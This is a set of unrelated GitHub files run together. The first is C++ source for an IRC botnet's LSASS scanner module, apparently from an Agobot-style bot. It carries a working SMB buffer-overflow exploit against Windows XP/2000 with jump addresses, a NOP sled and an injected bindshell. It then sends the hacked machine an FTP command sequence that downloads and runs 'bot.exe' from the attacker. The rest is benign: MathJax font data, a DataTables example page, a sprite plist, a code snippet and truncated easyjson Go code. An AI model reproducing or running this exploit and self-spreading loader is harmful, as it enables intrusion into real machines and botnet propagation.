"\x00\x00\x10\xF8\xFF\x53\x4D\x42\x2F\x00\x00\x00\x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE" "\x00\x08\x60\x00\x0E\xFF\x00\xDE\xDE\x00\x40\x00\x00\x00\x00\xFF" "\xFF\xFF\xFF\x08\x00\xB8\x10\x00\x00\xB8\x10\x40\x00\x00\x00\x00" "\x00\xB9\x10\xEE\x05\x00\x00\x01\x10\x00\x00\x00\xB8\x10\x00\x00" "\x01\x00\x00\x00\x0C\x20\x00\x00\x00\x00\x09\x00\xAD\x0D\x00\x00" "\x00\x00\x00\x00\xAD\x0D\x00\x00"; // room for shellcode here ... char req9[] = "\x00\x00\x0F\xD8\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x18\x01" "\x00\x08\x70\x00\x10\x00\x00\x84\x0F\x00\x00\x00\x04\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x84\x0F\x54\x00\x02" "\x00\x26\x00\x00\x40\x95\x0F\x00\x5C\x00\x50\x00\x49\x00\x50\x00" "\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x02\x10\x00\x00\x00" "\x84\x0F\x00\x00\x01\x00\x00\x00\x6C\x0F\x00\x00\x00\x00\x09\x00"; char shit3[] = "\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00" "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" "\x01\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00" "\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00" "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00" "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"; #define LEN 3500 #define BUFSIZE 2000 #define NOP 0x90 int dport = 44445; struct targets { int num; char name[50]; long jmpaddr; } ttarget[]= { { 0, "WinXP Professional [universal] lsass.exe ", 0x01004600 }, // jmp esp addr { 1, "Win2k Professional [universal] netrap.dll", 0x7515123c }, // jmp ebx addr { 2, "Win2k Advanced Server [SP4] netrap.dll", 0x751c123c }, // jmp ebx addr //{ 3, "reboot", 0xffffffff }, // crash { NULL } }; CScannerLSASS::CScannerLSASS() { m_szType="CScannerLSASS"; m_sScannerName.Assign("LSASS"); } bool CScannerLSASS::Exploit() { char hostipc[40]; char hostipc2[40*2]; char szRecvBuf[1600]; char req4u[sizeof(req4)+20]; char smblen; char unclen; char buf[LEN+1]; char sendbuf[(LEN+1)*2]; char strBuffer[BUFSIZE]; char screq[BUFSIZE+sizeof(req7)+1500+440]; char screq2k[4348+4060]; char screq2k2[4348+4060]; int which; int i; unsigned short port; unsigned char *sc; int dport = 44445; char strasm[]="\x66\x81\xEC\x1C\x07\xFF\xE4"; if(!m_sSocket.Connect(m_sSocket.m_szHost, m_sSocket.m_sPort)) // Connect failed, exit return false; //Send req 1 if(!m_sSocket.Write(req1, sizeof(req1)-1)) { m_sSocket.Disconnect(); return false; } // Read reply if(!m_sSocket.Recv(szRecvBuf, sizeof(szRecvBuf))) { m_sSocket.Disconnect(); return false; } //Send req 2 if(!m_sSocket.Write(req2, sizeof(req2)-1)) { m_sSocket.Disconnect(); return false; } // Read reply if(!m_sSocket.Recv(szRecvBuf, sizeof(szRecvBuf))) { m_sSocket.Disconnect(); return false; } //Send req 3 if(!m_sSocket.Write(req3, sizeof(req3)-1)) { m_sSocket.Disconnect(); return false; } // Read reply if(!m_sSocket.Recv(szRecvBuf, sizeof(szRecvBuf))) { m_sSocket.Disconnect(); return false; } // OS check switch (szRecvBuf[68]) { case '1': // win XP which = 0; case '0': //win 2k which = 2; default: return FALSE; } sprintf((char *)hostipc,"\\\\%s\\ipc$", m_sSocket.m_szHost); for (i=0; i<40; i++) { hostipc2[i*2] = hostipc[i]; hostipc2[i*2+1] = 0; } memcpy(req4u, req4, sizeof(req4)-1); memcpy(req4u+48, &hostipc2[0], strlen(hostipc)*2); memcpy(req4u+47+strlen(hostipc)*2, req4+87, 9); smblen = 52+(char)strlen(hostipc)*2; memcpy(req4u+3, &smblen, 1); unclen = 9 + (char)strlen(hostipc)*2; memcpy(req4u+45, &unclen, 1); port = htons(dport)^(USHORT)0x9999; memcpy(&bindshell[176], &port, 2); sc = bindshell; if (which != 0) { memset(buf, NOP, LEN); //memcpy(&buf[2020], "\x3c\x12\x15\x75", 4); memcpy(&buf[2020], &ttarget[which].jmpaddr, 4); memcpy(&buf[2036], sc, strlen((const char *)sc)); memcpy(&buf[2840], "\xeb\x06\xeb\x06", 4); memcpy(&buf[2844], &ttarget[which].jmpaddr, 4); // jmp ebx addr //memcpy(&buf[2844], "\x3c\x12\x15\x75", 4); // jmp ebx addr memcpy(&buf[2856], sc, strlen((const char*)sc)); for (i=0; i<LEN; i++) { sendbuf[i*2] = buf[i]; sendbuf[i*2+1] = 0; } sendbuf[LEN*2]=0; sendbuf[LEN*2+1]=0; memset(screq2k, 0x31, (BUFSIZE+sizeof(req7)+1500)*2); memset(screq2k2, 0x31, (BUFSIZE+sizeof(req7)+1500)*2); } else { memset(strBuffer, NOP, BUFSIZE); memcpy(strBuffer+160, sc, strlen((const char*)sc)); memcpy(strBuffer+1980, strasm, strlen(strasm)); *(long *)&strBuffer[1964]=ttarget[which].jmpaddr; } memset(screq, 0x31, BUFSIZE+sizeof(req7)+1500); //Send if(!m_sSocket.Write(req4u, smblen+4)) { m_sSocket.Disconnect(); return false; } // Read if(!m_sSocket.Recv(szRecvBuf, 1600)) { m_sSocket.Disconnect(); return false; } //Send if(!m_sSocket.Write(req5, sizeof(req5)-1)) { m_sSocket.Disconnect(); return false; } // Read if(!m_sSocket.Recv(szRecvBuf, 1600)) { m_sSocket.Disconnect(); return false; } //Send if(!m_sSocket.Write(req6, sizeof(req6)-1)) { m_sSocket.Disconnect(); return false; } // Read if(!m_sSocket.Recv(szRecvBuf, 1600)) { m_sSocket.Disconnect(); return false; } if ( which != 0 ) { //if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) { memcpy(screq2k, req8, sizeof(req8)-1); memcpy(screq2k+sizeof(req8)-1, sendbuf, (LEN+1)*2); memcpy(screq2k2, req9, sizeof(req9)-1); memcpy(screq2k2+sizeof(req9)-1, sendbuf+4348-sizeof(req8)+1, (LEN+1)*2-4348); memcpy(screq2k2+sizeof(req9)-1+(LEN+1)*2-4348-sizeof(req8)+1+206, shit3, sizeof(shit3)-1); //Send if(!m_sSocket.Write(screq2k, 4348)) { m_sSocket.Disconnect(); return false; } // Read if(!m_sSocket.Recv(szRecvBuf, 1600)) { m_sSocket.Disconnect(); return false; } //Send if(!m_sSocket.Write(screq2k2, 4060)) { m_sSocket.Disconnect(); return false; } } else { memcpy(screq, req7, sizeof(req7)-1); memcpy(screq+sizeof(req7)-1, &strBuffer[0], BUFSIZE); memcpy(screq+sizeof(req7)-1+BUFSIZE, shit1, 9*16); screq[BUFSIZE+sizeof(req7)-1+1500-304-1] = 0; //Send if(!m_sSocket.Write(screq, BUFSIZE+sizeof(req7)-1+1500-304)) { m_sSocket.Disconnect(); return false; } } Sleep(10000); CSocket outSocket; if(!outSocket.Connect(m_sSocket.m_szHost, 5300)) // Connect failed, exit { m_sSocket.Disconnect(); return false; } char mkdir_buff[400]=""; int iPort=g_pMainCtrl->m_cBot.bot_ftrans_port_ftp.iValue; sprintf(mkdir_buff, "echo open %s %d > bla.txt && " "echo user blah blah >> bla.txt && " "echo binary >> bla.txt && " "echo get %s >> bla.txt && " "echo quit >> bla.txt && " "ftp.exe -n -s:bla.txt && " "%s\n", g_pMainCtrl->m_cIRC.m_sLocalIp.CStr(), iPort, "bot.exe", "bot.exe"); if(!outSocket.RecvTO(szRecvBuf, sizeof(szRecvBuf), 5000)) { m_sSocket.Disconnect(); outSocket.Disconnect(); return false; } Sleep(500); if(!outSocket.Write((char*)mkdir_buff, sizeof(mkdir_buff))) { m_sSocket.Disconnect(); outSocket.Disconnect(); return false; } // successful!!! if (g_pMainCtrl->m_cBot.scaninfo_level.iValue >= 2) { SendLocal("%s: Exploited %s", m_sScannerName.CStr(), m_sSocket.m_szHost); } m_sSocket.Disconnect(); return true; } REGSCANNER(LSASS_445, LSASS, 445, true, true)
{ "pile_set_name": "Github" }
/* * /MathJax/jax/output/HTML-CSS/fonts/STIX/SizeOneSym/Regular/Main.js * * Copyright (c) 2012 Design Science, Inc. * * Part of the MathJax library. * See http://www.mathjax.org for details. * * Licensed under the Apache License, Version 2.0; * you may not use this file except in compliance with the License. * * http://www.apache.org/licenses/LICENSE-2.0 */ MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXSizeOneSym={directory:"SizeOneSym/Regular",family:"STIXSizeOneSym",Ranges:[[688,767,"All"],[768,824,"All"],[8254,8254,"All"],[8400,8431,"All"],[8512,8512,"All"],[8730,8732,"All"],[8992,8993,"All"],[9115,9145,"All"],[9180,9185,"All"],[10098,10099,"All"],[10214,10219,"All"],[10627,10630,"All"],[10744,10745,"All"],[10752,10762,"All"],[11004,11007,"All"]],32:[0,0,250,0,0],40:[1066,164,468,139,382],41:[1066,164,468,86,329],47:[1066,164,579,25,552],91:[1066,164,383,180,363],92:[1066,164,579,27,552],93:[1066,164,383,20,203],95:[-127,177,1000,0,1000],123:[1066,164,575,114,466],125:[1066,164,575,109,461],160:[0,0,250,0,0],770:[767,-554,0,-720,-160],771:[750,-598,0,-722,-162],8719:[1500,-49,1355,50,1305],8720:[1500,-49,1355,50,1305],8721:[1499,-49,1292,90,1202],8730:[1552,295,1057,112,1089],8896:[1500,-49,1265,60,1205],8897:[1500,-49,1265,60,1205],8898:[1510,-49,1265,118,1147],8899:[1500,-39,1265,118,1147],8968:[1066,164,453,180,426],8969:[1066,164,453,25,273],8970:[1066,164,453,180,428],8971:[1066,164,453,27,273],9115:[700,305,450,50,400],9116:[705,305,450,50,174],9117:[705,300,450,50,400],9118:[700,305,450,50,400],9119:[705,305,450,276,400],9120:[705,300,450,50,400],9121:[682,323,450,50,415],9122:[687,323,450,50,150],9123:[687,318,450,50,415],9124:[682,323,450,35,400],9125:[687,323,450,300,400],9126:[687,318,450,35,400],9127:[700,305,640,260,600],9128:[705,305,640,40,380],9129:[705,300,640,260,600],9130:[705,305,640,260,380],9131:[700,305,640,40,380],9132:[705,305,640,260,600],9133:[705,300,640,40,380],9134:[610,25,688,294,394],9136:[700,301,600,35,566],9137:[700,301,600,35,566],9143:[1510,345,1184,112,895],9144:[1566,289,721,0,66],9145:[1566,289,721,655,721],9182:[136,89,926,0,925],9183:[789,-564,926,0,925],10216:[1066,164,578,116,462],10217:[1066,164,578,116,462],10752:[1500,-49,1555,52,1503],10753:[1500,-49,1555,52,1503],10754:[1500,-49,1555,52,1503],10756:[1500,-39,1265,118,1147],10757:[1500,-49,1153,82,1071],10758:[1500,-49,1153,82,1071]};MathJax.OutputJax["HTML-CSS"].initFont("STIXSizeOneSym");MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SizeOneSym/Regular/Main.js");
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <link rel="shortcut icon" type="image/ico" href="http://www.datatables.net/favicon.ico"> <meta name="viewport" content="initial-scale=1.0, maximum-scale=2.0"> <link rel="stylesheet" type="text/css" href="../../../examples/resources/syntax/shCore.css"> <link rel="stylesheet" type="text/css" href="../../../examples/resources/demo.css"> <script type="text/javascript" language="javascript" src="../../../media/js/jquery.js"></script> <script type="text/javascript" language="javascript" src="../../../examples/resources/syntax/shCore.js"></script> <script type="text/javascript" language="javascript" src="../../../examples/resources/demo.js"></script> <title>TableTools examples - TableTools examples</title> </head> <body class="dt-example"> <div class="container"> <section> <h1>TableTools example <span>TableTools examples</span></h1> <div class="info"> <p>TableTools is a plug-in for the DataTables HTML table enhancer, which adds a highly customisable button toolbar to a DataTable. Key features include:</p> <ul class="markdown"> <li>Copy to clipboard</li> <li>Save table data as CSV, XLS or PDF files</li> <li>Print view for clean printing</li> <li>Row selection options</li> <li>Easy use predefined buttons</li> <li>Simple customisation of buttons</li> <li>Well defined API for advanced control</li> </ul> </div> </section> </div> <section> <div class="footer"> <div class="gradient"></div> <div class="liner"> <div class="toc"> <div class="toc-group"> <h3><a href="./index.html">Examples</a></h3> <ul class="toc"> <li><a href="./simple.html">Basic initialisation</a></li> <li><a href="./plug-in.html">Plug-in button types</a></li> <li><a href="./bootstrap.html">Bootstrap styling</a></li> <li><a href="./swf_path.html">Setting the SWF path</a></li> <li><a href="./new_init.html">Initialisation with `new`</a></li> <li><a href="./defaults.html">Defaults</a></li> <li><a href="./select_single.html">Row selection - single row select</a></li> <li><a href="./select_multi.html">Row selection - multi-row select</a></li> <li><a href="./select_os.html">Row selection - operating system style</a></li> <li><a href="./select_column.html">Row selection - row selector on specific cells</a></li> <li><a href="./multiple_tables.html">Multiple tables</a></li> <li><a href="./multi_instance.html">Multiple toolbars</a></li> <li><a href="./collection.html">Button collections</a></li> <li><a href="./button_text.html">Custom button text</a></li> <li><a href="./alter_buttons.html">Button arrangement</a></li> <li><a href="./ajax.html">Ajax loaded data</a></li> <li><a href="./pdf_message.html">PDF message</a></li> <li><a href="./jqueryui.html">jQuery UI styling</a></li> </ul> </div> </div> <div class="epilogue"> <p>Please refer to the <a href="http://www.datatables.net">DataTables documentation</a> for full information about its API properties and methods.<br> Additionally, there are a wide range of <a href="http://www.datatables.net/extras">extras</a> and <a href="http://www.datatables.net/plug-ins">plug-ins</a> which extend the capabilities of DataTables.</p> <p class="copyright">DataTables designed and created by <a href= "http://www.sprymedia.co.uk">SpryMedia Ltd</a> &#169; 2007-2014<br> DataTables is licensed under the <a href="http://www.datatables.net/mit">MIT license</a>.</p> </div> </div> </div> </section> </body> </html>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>frames</key> <dict> <key>common/j/jineng_001.png</key> <dict> <key>frame</key> <string>{{1,1},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/jineng_002.png</key> <dict> <key>frame</key> <string>{{1,91},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/jineng_003.png</key> <dict> <key>frame</key> <string>{{1,181},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/jineng_004.png</key> <dict> <key>frame</key> <string>{{1,271},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/jineng_005.png</key> <dict> <key>frame</key> <string>{{1,361},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/bullet.png</key> <dict> <key>frame</key> <string>{{1,991},{14,5}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <true /> <key>sourceSize</key> <string>{14,5}</string> </dict> <key>common/j/jineng_006.png</key> <dict> <key>frame</key> <string>{{1,451},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/jineng_007.png</key> <dict> <key>frame</key> <string>{{1,541},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/jineng_008.png</key> <dict> <key>frame</key> <string>{{1,631},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/jineng_009.png</key> <dict> <key>frame</key> <string>{{1,721},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/jineng_010.png</key> <dict> <key>frame</key> <string>{{1,811},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/jineng_011.png</key> <dict> <key>frame</key> <string>{{1,901},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/jineng_012.png</key> <dict> <key>frame</key> <string>{{91,1},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> <key>common/j/jineng_013.png</key> <dict> <key>frame</key> <string>{{181,1},{88,88}}</string> <key>offset</key> <string>{0,0}</string> <key>rotated</key> <false /> <key>sourceSize</key> <string>{88,88}</string> </dict> </dict> <key>metadata</key> <dict> <key>format</key> <integer>2</integer> <key>textureFileName</key> <string>skill.png</string> <key>realTextureFileName</key> <string>skill.png</string> <key>size</key> <string>{270,1006}</string> </dict> <key>texture</key> <dict> <key>width</key> <integer>270</integer> <key>height</key> <integer>1006</integer> </dict> </dict> </plist>
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="utf-8"?> <CodeSnippets xmlns="http://schemas.microsoft.com/VisualStudio/2005/CodeSnippet"> <CodeSnippet Format="1.0.0"> <Header> <Title>Media list</Title> <Author>Eric Lebetsamer</Author> <Description>Abstract object styles for building various types of components (like blog comments, Tweets, etc) that feature a left- or right-aligned image alongside textual content.</Description> <Shortcut>bs-media-list</Shortcut> <SnippetTypes> <SnippetType>Expansion</SnippetType> </SnippetTypes> </Header> <Snippet> <Declarations> <Literal> <ID>image1</ID> <ToolTip>The image for the first media object</ToolTip> <Default>http://placehold.it/64x64</Default> </Literal> <Literal> <ID>heading1</ID> <ToolTip>The heading for the first media object</ToolTip> <Default>Media heading 1</Default> </Literal> <Literal> <ID>content1</ID> <ToolTip>The content for the first media object</ToolTip> <Default>Lorem ipsum dolor sit amet, consectetur adipiscing elit.</Default> </Literal> <Literal> <ID>image2</ID> <ToolTip>The image for second media object</ToolTip> <Default>http://placehold.it/64x64</Default> </Literal> <Literal> <ID>heading2</ID> <ToolTip>The heading for the second media object</ToolTip> <Default>Media heading 2</Default> </Literal> <Literal> <ID>content2</ID> <ToolTip>The content for the second media object</ToolTip> <Default>Morbi eget libero quis metus consectetur semper.</Default> </Literal> <Literal> <ID>image3</ID> <ToolTip>The image for the third media object</ToolTip> <Default>http://placehold.it/64x64</Default> </Literal> <Literal> <ID>heading3</ID> <ToolTip>The heading for the third media object</ToolTip> <Default>Media heading 3</Default> </Literal> <Literal> <ID>content3</ID> <ToolTip>The content for the third media object</ToolTip> <Default>Suspendisse ullamcorper massa eget eleifend iaculis.</Default> </Literal> </Declarations> <Code Language="HTML"> <![CDATA[<ul class="media-list"> <li class="media"> <div class="media-left"> <a href="#"> <img class="media-object" src="$image1$"> </a> </div> <div class="media-body"> <h4 class="media-heading">$heading1$</h4> $content1$ </div> </li> <li class="media"> <div class="media-right"> <a href="#"> <img class="media-object" src="$image2$"> </a> </div> <div class="media-body"> <h4 class="media-heading">$heading2$</h4> $content2$ </div> </li> <li class="media"> <div class="media-left"> <a href="#"> <img class="media-object" src="$image3$"> </a> </div> <div class="media-body"> <h4 class="media-heading">$heading3$</h4> $content3$ </div> </li> </ul>$end$]]> </Code> </Snippet> </CodeSnippet> </CodeSnippets>
{ "pile_set_name": "Github" }
//out.Data: false//v28: false// Code generated by easyjson for marshaling/unmarshaling. DO NOT EDIT. package server import ( json "encoding/json" irc "github.com/khlieng/dispatch/pkg/irc" storage "github.com/khlieng/dispatch/storage" easyjson "github.com/mailru/easyjson" jlexer "github.com/mailru/easyjson/jlexer" jwriter "github.com/mailru/easyjson/jwriter" ) // suppress unused package warning var ( _ *json.RawMessage _ *jlexer.Lexer _ *jwriter.Writer _ easyjson.Marshaler ) func easyjson42239ddeDecodeGithubComKhliengDispatchServer(in *jlexer.Lexer, out *WhoisReply) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "nick": out.Nick = string(in.String()) case "username": out.Username = string(in.String()) case "host": out.Host = string(in.String()) case "realname": out.Realname = string(in.String()) case "server": out.Server = string(in.String()) case "channels": if in.IsNull() { in.Skip() out.Channels = nil } else { in.Delim('[') if out.Channels == nil { if !in.IsDelim(']') { out.Channels = make([]string, 0, 4) } else { out.Channels = []string{} } } else { out.Channels = (out.Channels)[:0] } for !in.IsDelim(']') { var v1 string v1 = string(in.String()) out.Channels = append(out.Channels, v1) in.WantComma() } in.Delim(']') } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer(out *jwriter.Writer, in WhoisReply) { out.RawByte('{') first := true _ = first if in.Nick != "" { const prefix string = ",\"nick\":" first = false out.RawString(prefix[1:]) out.String(string(in.Nick)) } if in.Username != "" { const prefix string = ",\"username\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Username)) } if in.Host != "" { const prefix string = ",\"host\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Host)) } if in.Realname != "" { const prefix string = ",\"realname\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Realname)) } if in.Server != "" { const prefix string = ",\"server\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.Server)) } if len(in.Channels) != 0 { const prefix string = ",\"channels\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } { out.RawByte('[') for v2, v3 := range in.Channels { if v2 > 0 { out.RawByte(',') } out.String(string(v3)) } out.RawByte(']') } } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v WhoisReply) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v WhoisReply) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *WhoisReply) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *WhoisReply) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer1(in *jlexer.Lexer, out *Whois) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "user": out.User = string(in.String()) default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer1(out *jwriter.Writer, in Whois) { out.RawByte('{') first := true _ = first if in.Network != "" { const prefix string = ",\"network\":" first = false out.RawString(prefix[1:]) out.String(string(in.Network)) } if in.User != "" { const prefix string = ",\"user\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.String(string(in.User)) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v Whois) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer1(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v Whois) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer1(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *Whois) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer1(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *Whois) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer1(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer2(in *jlexer.Lexer, out *WSResponse) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "type": out.Type = string(in.String()) case "data": if m, ok := out.Data.(easyjson.Unmarshaler); ok { m.UnmarshalEasyJSON(in) } else if m, ok := out.Data.(json.Unmarshaler); ok { _ = m.UnmarshalJSON(in.Raw()) } else { out.Data = in.Interface() } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer2(out *jwriter.Writer, in WSResponse) { out.RawByte('{') first := true _ = first if in.Type != "" { const prefix string = ",\"type\":" first = false out.RawString(prefix[1:]) out.String(string(in.Type)) } if in.Data != nil { const prefix string = ",\"data\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } if m, ok := in.Data.(easyjson.Marshaler); ok { m.MarshalEasyJSON(out) } else if m, ok := in.Data.(json.Marshaler); ok { out.Raw(m.MarshalJSON()) } else { out.Raw(json.Marshal(in.Data)) } } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v WSResponse) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer2(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v WSResponse) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer2(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *WSResponse) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer2(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *WSResponse) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer2(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer3(in *jlexer.Lexer, out *WSRequest) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "type": out.Type = string(in.String()) case "data": if data := in.Raw(); in.Ok() { in.AddError((out.Data).UnmarshalJSON(data)) } default: in.SkipRecursive() } in.WantComma() } in.Delim('}') if isTopLevel { in.Consumed() } } func easyjson42239ddeEncodeGithubComKhliengDispatchServer3(out *jwriter.Writer, in WSRequest) { out.RawByte('{') first := true _ = first if in.Type != "" { const prefix string = ",\"type\":" first = false out.RawString(prefix[1:]) out.String(string(in.Type)) } if (in.Data).IsDefined() { const prefix string = ",\"data\":" if first { first = false out.RawString(prefix[1:]) } else { out.RawString(prefix) } out.Raw((in.Data).MarshalJSON()) } out.RawByte('}') } // MarshalJSON supports json.Marshaler interface func (v WSRequest) MarshalJSON() ([]byte, error) { w := jwriter.Writer{} easyjson42239ddeEncodeGithubComKhliengDispatchServer3(&w, v) return w.Buffer.BuildBytes(), w.Error } // MarshalEasyJSON supports easyjson.Marshaler interface func (v WSRequest) MarshalEasyJSON(w *jwriter.Writer) { easyjson42239ddeEncodeGithubComKhliengDispatchServer3(w, v) } // UnmarshalJSON supports json.Unmarshaler interface func (v *WSRequest) UnmarshalJSON(data []byte) error { r := jlexer.Lexer{Data: data} easyjson42239ddeDecodeGithubComKhliengDispatchServer3(&r, v) return r.Error() } // UnmarshalEasyJSON supports easyjson.Unmarshaler interface func (v *WSRequest) UnmarshalEasyJSON(l *jlexer.Lexer) { easyjson42239ddeDecodeGithubComKhliengDispatchServer3(l, v) } func easyjson42239ddeDecodeGithubComKhliengDispatchServer4(in *jlexer.Lexer, out *Userlist) { isTopLevel := in.IsStart() if in.IsNull() { if isTopLevel { in.Consumed() } in.Skip() return } in.Delim('{') for !in.IsDelim('}') { key := in.UnsafeFieldName(false) in.WantColon() if in.IsNull() { in.Skip() in.WantComma() continue } switch key { case "network": out.Network = string(in.String()) case "channel": out.Channel = string(in.String()) case "users": if in.IsNull() { in.Skip() out.Users = nil } else { in.Delim('[') if out.Users == nil { if !in.IsDelim(']') { out.Users = make([]string, 0, 4) } else { out.Users = []string{} } } else { out.Users = (out.Users)[:0] } for !in.IsDelim(']') { var v4 string v4 = string(in.String()) out.Users = append(out.Users, v4) in.WantComma() } in.Delim(']') } default: 